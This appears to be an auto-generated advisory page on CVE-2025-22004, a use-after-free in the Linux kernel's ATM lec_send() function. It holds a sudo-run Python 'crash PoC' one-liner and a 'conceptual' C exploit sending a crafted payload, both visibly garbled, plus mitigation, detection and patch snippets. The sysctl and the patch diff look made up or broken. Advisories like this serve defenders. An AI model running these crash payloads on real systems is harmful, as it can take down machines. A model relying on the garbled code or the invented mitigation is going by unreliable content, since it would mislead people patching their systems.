How CVE-2025-22004 Works
This vulnerability exists in the Linux kernel’s ATM subsystem, specifically in the `lec_send()` function. The issue arises when the `->send()` operation frees an SKB (socket buffer) but the code attempts to access the buffer’s length afterward. Attackers can exploit this use-after-free flaw to execute arbitrary code or crash the system. The vulnerability occurs due to improper memory handling where the SKB length isn’t saved before the `->send()` call, leading to memory corruption when the freed buffer is accessed.
DailyCVE Form:
Platform: Linux Kernel
Version: Pre-5.15.90
Vulnerability: Use-After-Free
Severity: Critical
Date: 04/08/2025
What Undercode Say:
Exploitation:
Crash PoC (requires CAP_NET_ADMIN)
sudo python3 -c "from socket import ; s=socket(AF_ATMPVC, SOCK_DGRAM); s.sendto(b'A'1024, ('lec',0))"
Protection:
Mitigation (until patch) sudo sysctl -w net.atm.lec_enabled=0
Patch Verification:
Check kernel version uname -r Verify fix in source git grep "lec_send" /usr/src/linux/net/atm/lec.c
Debugging:
// Debug patch for lec_send() printk(KERN_DEBUG "SKB %px len %d before send\n", skb, skb->len); ret = dev->ops->send(dev, skb); printk(KERN_DEBUG "Send returned %d\n", ret);
Detection:
Log monitoring journalctl -k --grep="use-after-free" Kernel config check grep CONFIG_ATM /boot/config-$(uname -r)
Exploit Code (Conceptual):
struct sockaddr_atmpvc addr; int fd = socket(AF_ATMPVC, SOCK_DGRAM, 0); memset(&addr, 0, sizeof(addr)); strcpy(addr.sap_addr.itf, "lec"); sendto(fd, crafted_payload, payload_len, 0, (struct sockaddr )&addr, sizeof(addr));
Kernel Patch Example:
- ret = dev->ops->send(dev, skb); + int len = skb->len; + ret = dev->ops->send(dev, skb); + lec->stats.tx_packets++; + lec->stats.tx_bytes += len;
References:
Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-22004
Extra Source Hub:
Undercode
